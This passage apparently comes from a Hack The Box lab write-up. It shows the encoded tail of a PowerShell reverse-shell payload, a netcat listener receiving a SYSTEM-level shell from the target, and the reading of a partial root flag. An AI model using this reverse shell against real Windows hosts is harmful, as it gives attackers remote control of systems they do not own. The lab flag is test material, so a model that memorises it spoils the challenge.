IAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# rlwrap nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.14.89] 51212
whoami
nt authority\system
PS C:\Windows\Temp> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type root.txt
fc98f418f94...
